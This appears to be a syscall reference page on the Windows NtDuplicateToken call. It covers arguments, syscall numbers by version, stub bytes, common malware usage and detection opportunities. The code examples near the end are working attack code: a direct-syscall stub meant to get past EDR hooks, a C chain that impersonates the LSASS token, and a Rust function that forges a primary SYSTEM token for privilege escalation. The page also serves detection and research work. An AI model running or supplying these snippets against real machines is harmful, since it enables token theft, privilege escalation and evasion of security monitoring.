> Windows Syscalls
ntoskrnl.exeT1134T1134.001T1134.002

NtDuplicateToken

Creates a new access token that duplicates an existing token, optionally changing its type and impersonation level.

Prototype

NTSTATUS NtDuplicateToken(
  HANDLE              ExistingTokenHandle,
  ACCESS_MASK         DesiredAccess,
  POBJECT_ATTRIBUTES  ObjectAttributes,
  BOOLEAN             EffectiveOnly,
  TOKEN_TYPE          TokenType,
  PHANDLE             NewTokenHandle
);

Arguments

NameTypeDirDescription
ExistingTokenHandleHANDLEinSource token; must be opened with TOKEN_DUPLICATE (0x2).
DesiredAccessACCESS_MASKinRights requested on the new handle (TOKEN_QUERY, TOKEN_IMPERSONATE, TOKEN_ASSIGN_PRIMARY, etc.).
ObjectAttributesPOBJECT_ATTRIBUTESinObject attributes (SecurityQualityOfService inside controls SecurityImpersonationLevel — Identification, Impersonation, Delegation).
EffectiveOnlyBOOLEANinIf TRUE, disabled privileges/groups are dropped from the duplicate. Almost always FALSE in offensive use.
TokenTypeTOKEN_TYPEinTokenPrimary (1) for use with CreateProcessAsUser/WithToken, or TokenImpersonation (2) for thread impersonation.
NewTokenHandlePHANDLEoutReceives the handle to the newly created token.

Syscall IDs by Windows version

Windows versionSyscall IDBuild
Win10 15070x42win10-1507
Win10 16070x42win10-1607
Win10 17030x42win10-1703
Win10 17090x42win10-1709
Win10 18030x42win10-1803
Win10 18090x42win10-1809
Win10 19030x42win10-1903
Win10 19090x42win10-1909
Win10 20040x42win10-2004
Win10 20H20x42win10-20h2
Win10 21H10x42win10-21h1
Win10 21H20x42win10-21h2
Win10 22H20x42win10-22h2
Win11 21H20x42win11-21h2
Win11 22H20x42win11-22h2
Win11 23H20x42win11-23h2
Win11 24H20x42win11-24h2
Server 20160x42winserver-2016
Server 20190x42winserver-2019
Server 20220x42winserver-2022
Server 20250x42winserver-2025

Kernel module

ntoskrnl.exeNtDuplicateToken

Related APIs

DuplicateTokenDuplicateTokenExImpersonateLoggedOnUserCreateProcessWithTokenWCreateProcessAsUserWNtSetInformationThreadNtFilterToken

Syscall stub

4C 8B D1            mov r10, rcx
B8 42 00 00 00      mov eax, 0x42
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Undocumented notes

NtDuplicateToken is the offensive linchpin of every token-theft and Make-Me-Admin chain. It is what `advapi32!DuplicateToken` and `DuplicateTokenEx` wrap. The SSN has been **stable at `0x42`** from Windows 10 1507 through Windows 11 24H2. The key offensive levers are `TokenType` (primary vs impersonation) and the `SecurityImpersonationLevel` encoded inside `ObjectAttributes->SecurityQualityOfService`: only `SecurityImpersonation` (level 2) and `SecurityDelegation` (level 3) let the thread *act* as the cloned identity — `SecurityIdentification` only lets it *check* membership. Producing a delegation-capable token requires the source token to be marked delegable (Kerberos forwardable TGT in domain contexts).

Common malware usage

The middle link of essentially every impersonation chain. Pattern A (token theft): NtOpenProcess(LSASS) -> NtOpenProcessTokenEx(TOKEN_DUPLICATE) -> **NtDuplicateToken(SecurityImpersonation, TokenImpersonation)** -> NtSetInformationThread(ThreadImpersonationToken). Pattern B (CreateProcessWithToken / Make-Me-Admin): -> **NtDuplicateToken(TokenPrimary, SecurityImpersonation)** -> CreateProcessWithTokenW. Pattern C (Potato family): SYSTEM impersonation token obtained via RPC coercion -> **NtDuplicateToken(TokenPrimary)** -> CreateProcessAsUserW. Used by Mimikatz `token::elevate`, Cobalt Strike `make_token`/`steal_token`, Sliver `impersonate`/`runas`, Conti, BlackCat, Royal, and every Potato variant (Hot, Juicy, Rogue, Sweet, Print, Roasted).

Mimikatz (tooling)Cobalt StrikeSliverJuicyPotato / RoguePotato (tooling)ContiBlackCat / ALPHVRoyal Ransomware

Detection opportunities

On its own, NtDuplicateToken is fairly common, but `TokenPrimary` duplications from a non-LSASS, non-`services.exe` process targeting a token whose user SID differs from the caller's SID is highly suspicious. Windows Security Event **4624 with Logon Type 9** (NewCredentials) fires on `CreateProcessWithLogonW` and is a strong indicator of impersonation. Event **4648** (logon attempted with explicit credentials) covers `CreateProcessWithTokenW`. The ETW provider `Microsoft-Windows-Threat-Intelligence` (PPL-only) emits `EtwTiLogDuplicateHandle`-class events for token duplications in monitored processes. EDRs almost universally hook `ntdll!NtDuplicateToken`; direct-syscall bypass is therefore one of the standard EDR evasion techniques referenced in red-team blogs.

Direct syscall examples

asmx64 direct stub (stable SSN 0x42)

NtDuplicateToken PROC
    mov  r10, rcx
    mov  eax, 42h          ; SSN stable across all builds
    syscall
    ret
NtDuplicateToken ENDP

cFull token-impersonation chain (LSASS -> thread)

// Classic offensive chain: open LSASS token, duplicate as impersonation,
// then impersonate on the current thread. Requires SeDebugPrivilege.
HANDLE hLsass = NULL, hSrc = NULL, hDup = NULL;
OBJECT_ATTRIBUTES oa = { sizeof(oa) };
CLIENT_ID cid = { (HANDLE)(ULONG_PTR)lsassPid, NULL };

SECURITY_QUALITY_OF_SERVICE sqos = {
    .Length = sizeof(sqos),
    .ImpersonationLevel = SecurityImpersonation,   // <-- must be Impersonation or Delegation
    .ContextTrackingMode = SECURITY_STATIC_TRACKING,
    .EffectiveOnly = FALSE,
};
OBJECT_ATTRIBUTES dupOa = { sizeof(dupOa) };
dupOa.SecurityQualityOfService = &sqos;

NtOpenProcess(&hLsass, PROCESS_QUERY_LIMITED_INFORMATION, &oa, &cid);
NtOpenProcessTokenEx(hLsass, TOKEN_DUPLICATE | TOKEN_QUERY, 0, &hSrc);

NtDuplicateToken(hSrc,
                 TOKEN_QUERY | TOKEN_IMPERSONATE,
                 &dupOa,
                 FALSE,
                 TokenImpersonation,   // <-- not Primary
                 &hDup);

NtSetInformationThread(NtCurrentThread(),
                       ThreadImpersonationToken,
                       &hDup, sizeof(HANDLE));

rustPotato-style primary-token forge for CreateProcessWithTokenW

// After an RPC coercion has handed us a SYSTEM impersonation token,
// duplicate it as Primary so we can spawn a SYSTEM-context process.
use windows_sys::Win32::Foundation::HANDLE;
use windows_sys::Win32::Security::{
    SECURITY_QUALITY_OF_SERVICE, SecurityImpersonation,
    SECURITY_STATIC_TRACKING,
};
use windows_sys::Wdk::Foundation::OBJECT_ATTRIBUTES;

extern "system" {
    fn NtDuplicateToken(
        existing: HANDLE, desired: u32,
        oa: *mut OBJECT_ATTRIBUTES, effective_only: u8,
        token_type: u32, new_token: *mut HANDLE) -> i32;
}

const TOKEN_PRIMARY: u32 = 1;
const TOKEN_ASSIGN_PRIMARY: u32 = 0x1;
const TOKEN_DUPLICATE: u32 = 0x2;
const TOKEN_QUERY: u32 = 0x8;

pub unsafe fn forge_primary_system_token(src: HANDLE) -> Option<HANDLE> {
    let mut sqos = SECURITY_QUALITY_OF_SERVICE {
        Length: std::mem::size_of::<SECURITY_QUALITY_OF_SERVICE>() as u32,
        ImpersonationLevel: SecurityImpersonation,
        ContextTrackingMode: SECURITY_STATIC_TRACKING as u8,
        EffectiveOnly: 0,
    };
    let mut oa: OBJECT_ATTRIBUTES = std::mem::zeroed();
    oa.Length = std::mem::size_of::<OBJECT_ATTRIBUTES>() as u32;
    oa.SecurityQualityOfService = &mut sqos as *mut _ as *mut _;

    let mut dup: HANDLE = 0;
    let s = NtDuplicateToken(
        src,
        TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY,
        &mut oa, 0, TOKEN_PRIMARY, &mut dup);
    if s == 0 { Some(dup) } else { None }
}

MITRE ATT&CK mappings

Last verified: 2026-05-20